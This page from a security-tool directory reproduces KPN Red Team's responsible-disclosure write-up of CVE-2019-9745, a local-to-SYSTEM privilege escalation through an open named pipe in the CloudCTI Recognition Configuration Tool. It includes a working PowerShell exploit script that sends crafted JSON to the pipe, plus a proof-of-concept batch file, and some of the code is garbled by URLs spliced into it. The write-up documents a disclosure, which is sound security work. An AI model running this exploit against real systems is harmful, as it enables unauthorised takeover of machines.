Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-9745 — Write-up sobre a vulnerabilidade CVE-2019-9745. | Kitploit
Ferramentas/GitHubGitHub/kpn-ciso/cve-2019-9745
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubkpn-ciso/cve-2019-9745

CVE-2019-9745

Write-up sobre a vulnerabilidade CVE-2019-9745.

Ver Repositório
1há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Autor: Arn Vollebregt

Introdução

A criatividade está no cerne do teste de penetração, o que torna o nosso trabalho interessante. No entanto, uma armadilha é a tendência de 'superdimensionar' cenários de ataque e focar apenas em bugs (condições de erro). Falhas (comportamento não intencional) podem, no entanto, estar presentes com resultados igualmente devastadores. Este artigo fornece um estudo de caso para demonstrar a importância dos testes de penetração para tais falhas. Simultaneamente, defende a adoção de um processo de SDLC (Ciclo de Vida de Desenvolvimento Seguro).

O artigo faz parte da RD (divulgação responsável) da vulnerabilidade CVE-2019-9745 e foi escrito em estreita cooperação com o fornecedor CloudCTI. Apresenta uma visão geral de alto nível da vulnerabilidade antes de aprofundar os detalhes técnicos. Após demonstrar a exploração da vulnerabilidade, é fornecida uma conclusão com lições aprendidas.

Resumo

A ferramenta CloudCTI Recognition Configuration Tool que examinamos durante um dos nossos testes de penetração é utilizada para recuperar informações de software de CRM (Gestão de Relacionamento com o Cliente). Isso fornece ao pessoal do centro de atendimento informações relevantes durante chamadas de clientes. Foram identificados vários problemas que podem ser encadeados para comprometer totalmente o sistema local. O fornecedor gostaria de salientar que isso não afeta sistemas de outros clientes nem os seus próprios.

Tal como acontece com muitas vulnerabilidades de segurança, um problema importante reside na validação de dados provenientes de fora da sua esfera de influência. Igualmente importante é a perceção de que os sistemas e o software operam em ambientes hostis. O tempo e a experiência ensinaram-nos que a escuta é uma ameaça na internet. O mesmo, no entanto, é válido para outros canais de comunicação, até mesmo dentro do próprio sistema. Isso foi fundamental para descobrir a vulnerabilidade.

Uma análise de causa raiz dos problemas encontrados mostra a importância de práticas como a TM (modelação de ameaças). A TM ajuda a identificar riscos nas fases iniciais de conceção e desenvolvimento. Isso pode levar à mitigação de riscos inaceitáveis ou à reformulação/reimplementação. Embora o leitor seja incentivado a realizar a sua própria análise, são fornecidas descrições das contramedidas do fornecedor para referência.

A vulnerabilidade

O software do fornecedor consiste em quatro aplicações que trabalham em conjunto. A primeira aplicação é a interface gráfica do utilizador (GUI). Esta permite ao utilizador iniciar a recuperação de informações de vários pacotes de software de CRM:

Figura 01

A GUI delega a recuperação de informações a um serviço (a segunda aplicação) através do envio de uma mensagem. As primeiras questões de segurança manifestam-se aqui: não só qualquer pessoa no sistema pode observar as mensagens entre a GUI e o serviço para determinar o seu formato e conteúdo (afetando a confidencialidade), como também pode enviar as suas próprias mensagens (afetando a autorização). Além disso, a origem das mensagens para o serviço não é verificada (afetando o não repúdio). Na terminologia de modelação de ameaças STRIDE, isto significa que o sistema está sujeito a divulgação de informações e adulteração. De facto, as informações obtidas dessas mensagens foram fundamentais para descobrir a vulnerabilidade.

A terceira aplicação é um dos muitos importadores especializados. O serviço transfere a recuperação de informações de um pacote de CRM específico para um importador específico. A mensagem enviada pela GUI contém instruções específicas para este importador. Observando o importador de CRM Exquise, verifica-se que a recuperação de informações é ainda delegada a uma aplicação externa (a quarta). Examinando a lógica interna do importador, descobriu-se que a aplicação externa podia ser especificada na mensagem entre a GUI e o serviço. O problema que aqui se manifesta é que a aplicação externa é executada sem verificar a sua identidade (afetando o não repúdio).

Ao encadear estes problemas, pudemos intercetar mensagens para determinar o seu formato e enviar uma mensagem na qual especificamos a nossa própria aplicação externa maliciosa. Essa aplicação externa é executada com os mesmos privilégios do importador/serviço. Como esses privilégios são os mais altos possíveis dentro do sistema, é alcançado o controlo total e o sistema fica comprometido.

Estes problemas são mitigados pelo fornecedor através da encriptação das mensagens (mitigando o problema de confidencialidade) com recurso a segredos partilhados únicos (mitigando o problema de autorização) que só podem ser acedidos pelos utilizadores do sistema autenticados que os possuem (mitigando o primeiro problema de não repúdio). Por fim, a aplicação externa é criptograficamente assinada (mitigando o segundo problema de não repúdio). A combinação destas medidas mitiga com sucesso a vulnerabilidade.

Detalhes técnicos

Quando a aplicação GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) é instalada, é examinada com o Process Explorer. Isto revela que um serviço complementar (Recognition Update Client Service) é instalado e executado com direitos de NT AUTHORITY\SYSTEM:

Figura 02

Ao investigar o executável do serviço (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), torna-se evidente que foi desenvolvido utilizando a linguagem de programação .NET. Este pode ser descompilado com o dnSpy para obter uma visão sobre a sua lógica interna, que será detalhada abaixo.

RUCS2017Service (o namespace interno .NET no executável do serviço) acaba por ser um invólucro fino à volta do namespace RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Este define um servidor de pipe nomeado chamado RUCS20151029 em RUCS2017.dll:RUCS2017.TRUCS2017:902:

Figura 03

Esse servidor de pipe nomeado é iniciado em RUCS2017.dll:RUCS2017.TRUCS2017:833:

Figura 04

O seguinte one-liner de Powershell é utilizado para confirmar que este pipe está de facto ativo no sistema:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

root@kitploit:~
Usando [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk), os direitos de acesso do pipe são examinados. Através disso, descobre-se que o pipe pode ser lido (*R*) e gravado (*W*) por qualquer usuário do sistema (*Everyone*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\RUCS20151029
  RW Everyone
  RW BUILTIN\Administrators

Quando a funcionalidade Adicionar aplicativo na GUI é usada (veja Figura 01), o seguinte tráfego não criptografado é observado no pipe nomeado usando IO Ninja:

Figura 05

Isso contém os seguintes dados JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

root@kitploit:~
Processing of messages on the pipe is [event](https://docs.microsoft.com/en-us/dotnet/standard/events/) based and subscribed to in the constructor of the service at *RUCS2017.dll:RUCS2017.TRUCS2017:803*:

![](https://assets.kitploit.com/production/public/readmes/37200/3e7d9948347ffbffc26ee104ad8ff50933606181eb9eee446b5fa3dc961d01e7.png)
**<div style="text-align: right">Figura 06</div>**

In this function the JSON is first deserialized at *RUCS2017.dll:RUCS2017.TRUCS2017:267*:

![](https://assets.kitploit.com/production/public/readmes/37200/33bca92e1b5a36f4603939abd37a314f4f61cd9ef70e0e07d94f227843e10bdd.png)
**<div style="text-align: right">Figura 07</div>**

The specific logic for processing the *WizardGetData* JSON message structure can be found at *RUCS2017.dll:RUCS2017.TRUCS2017:315* under the *TFerbCommandType.WizardGetData* enumeration case:

![](https://assets.kitploit.com/production/public/readmes/37200/73c46336e94cd74c15c7d08d05fe5bd222805be36dbf3c3d4b88c5ba96e3841c.png)
**<div style="text-align: right">Figura 08</div>**

A task manager then starts a new thread at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* passing the parsed message structure:

![](https://assets.kitploit.com/production/public/readmes/37200/036e68c9599c4a8f38ef4e7f620acd2867f0482239535ed2f5e2804976c2bc97.png)
**<div style="text-align: right">Figura 09</div>**

The *DatasourceType* (for a specific CRM package) is dynamically loaded at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:

![](https://assets.kitploit.com/production/public/readmes/37200/76890a7277c2d05ee4d5ecf973f1f987e32f694c6523210b423f9a74adcefa46.png)
**<div style="text-align: right">Figura 10</div>**

Which loads the *.dll* file defined in *json.conf:17*:

![](https://assets.kitploit.com/production/public/readmes/37200/946a3349f0f4ed3d0e9ca99ce176d3114226b4cb4f88a7402a75ebdba3405c9d.png)
**<div style="text-align: right">Figura 11</div>**

Further processing of the message is then delegated to the *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* plugin at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Figura 10*).

*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* is derived from *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). This in turn is derived from *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). We find the implementation of the *GetData* method at *CloudCTI.Datasources.RUS2015.DatasourceBase:133* which calls *initializeDatasource* at *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:

![](https://assets.kitploit.com/production/public/readmes/37200/405e10ddf3fb9c601b8a91fd1c7c3fdab9033a19279276895d6655611071d22e.png)
**<div style="text-align: right">Figura 12</div>**

This in turn calls *DatasourceInitialize* at *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:

![](https://assets.kitploit.com/production/public/readmes/37200/b42faa7d9551b04a5f0addd5031348ac56f6654cd49bc22f6d7dd357eb45a96a.png)
**<div style="text-align: right">Figura 13</div>**

First the JSON message is parsed at *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:

![](https://assets.kitploit.com/production/public/readmes/37200/1bf27679546c003d32ba46d0b5b4fc892b35158964d228df72541cdef4c6c75c.png)
**<div style="text-align: right">Figura 14</div>**

The structure of this message is defined in the *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* class. This class also contains the *ExporterApplication* property which is of great interest to us:

![](https://assets.kitploit.com/production/public/readmes/37200/0ed877f459c0643cda84f50b5aeda7000e33784c6794dae9c42de9d385498002.png)
**<div style="text-align: right">Figura 15</div>**

At *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (see *figura 14*) it is checked if the *ExporterApplication* is set in the message. If this is no the case a default application is used otherwise the external application from the message is used. <span style='color:red'>**This is where the vulnerability manifests itself**</span>. At *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (see *Figura 14*) the *createExportFile* method is called which starts the previously determined external application (line *73*):

![](https://assets.kitploit.com/production/public/readmes/37200/7b84dfabc6a860697245373d0fca8bcad5f747d0983521d9ea46f0e85031587f.png)
**<div style="text-align: right">Figura 16</div>**

# The exploit #

As the service process (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) runs with *NT AUTHORITY\SYSTEM* rights it has access to **all** facets of the system, which we now also have via the *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* property. When this is crafted into the message the following JSON template is the result:```JSON
{
    "Command":"WizardGetData",
    "Params":
    {
        "ReturnSize":RETURN_SIZE,
        "DatasourceType":"exquise exporter",
        "DatasourceSettings":
        {
            "ExquiseFolder":"FOLDER_NAME",
            "ExporterApplication":"APPLICATION_NAME"
        }
    },
    "Id":"RANDOM_VALUE"
}

Através de tentativa e erro, verifica-se que o ExporterApplication pode ser um script batch que não requer download de recursos adicionais e pode ser colocado em um diretório (de usuário) que está sob controle de um usuário com privilégios baixos (ou mais baixos). Como todos os usuários podem gravar no Named Pipe RUCS20151029, o seguinte script PowerShell é usado para enviar JSON elaborado para o named pipe:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

root@kitploit:~
O seguinte script em lote é especificado na mensagem JSON como o aplicativo externo (*ExporterApplication*). Como prova de conceito, o nome do usuário que o executa é gravado em um arquivo. É claro que isso pode ser substituído por qualquer comando (sequência).

**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log

Quando a mensagem é enviada por um usuário normal (com privilégios baixos) (usando CVE-2019-9745.ps1), podemos de fato ver que CVE-2019-9745.bat é executado com privilégios elevados (NT Authority\SYSTEM):

Figura 17

Conclusão

Do ponto de vista de pentest, testar falhas na lógica (de negócios) de um sistema pode ser um investimento significativo de tempo. Como a maioria dos pentests são testes de caixa-preta (em oposição aos testes de caixa-branca), isso geralmente envolve engenharia reversa. No entanto, como foi demonstrado, falhas podem ser tão devastadoras quanto bugs. Por esse motivo, é fortemente recomendada uma abordagem em duas frentes que teste tanto bugs quanto falhas.

Do ponto de vista do fornecedor, é importante não apenas perguntar 'como nossos produtos podem ser usados', mas também 'como podem ser abusados'. O SDLC (Ciclo de Vida de Desenvolvimento Seguro) pode ajudar com a gestão de riscos durante os vários estágios do ciclo de vida de um produto: os requisitos de segurança, a arquitetura e um modelo de ameaças auxiliam a fase de design de alto e baixo nível. A análise de código estática/dinâmica e a revisão por pares auxiliam o processo de desenvolvimento. Por fim, o teste de penetração fornece uma auditoria (independente). Naturalmente, os resultados desses processos devem ser ponderados em relação ao apetite ao risco. Do ponto de vista financeiro, vários estudos (The Business Case for Security in the SDLC) concluíram que tratar defeitos (de segurança) nas fases iniciais do ciclo de vida de um produto é mais rentável do que a remediação. Isso significa que investir em SDLC pode reduzir o TCO (Custo Total de Propriedade) no longo prazo.

Integrando ambas as perspectivas, é importante continuar investindo em conscientização de segurança em todas as frentes por meio de treinamento e educação. Isso garante que todas as partes estejam atualizadas tanto sobre as oportunidades quanto sobre os riscos de segurança no domínio de TI, que continuam evoluindo rapidamente. Dessa forma, todos podemos contribuir para uma sociedade mais segura.

Linha do tempo de divulgação responsável

  • 25-01-2019 : Vulnerabilidade reportada ao fornecedor CloudCTI pela KPN CERT.
  • 14-02-2019 : Hotfix lançado para os clientes pela CloudCTI.
  • 13-03-2019 : Reserva de CVE pela MITRE.
  • 18-04-2019 : Patch inicial fornecido à KPN pela CloudCTI.
  • 26-04-2019 : Novo teste da vulnerabilidade pela KPN Red team.
  • 02-05-2019 : Patch revisado fornecido à KPN pela CloudCTI.
  • 02-05-2019 : Novo teste da vulnerabilidade pela KPN Red team.
  • 19-06-2019 : Patch lançado para os clientes pela CloudCTI.
  • 27-06-2019 : Notificação de segurança divulgada pela CloudCTI.
  • 14-10-2019 : Publicação deste relatório pela KPN Red team no GitHub.
  • 14-10-2019 : Publicação do CVE pela MITRE.
  • 07-11-2019 : Publicação deste relatório pela KPN Red Team no kpn.com.

Severidade

A pontuação CVSS que atribuímos a esta vulnerabilidade é 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).

Baixar ferramenta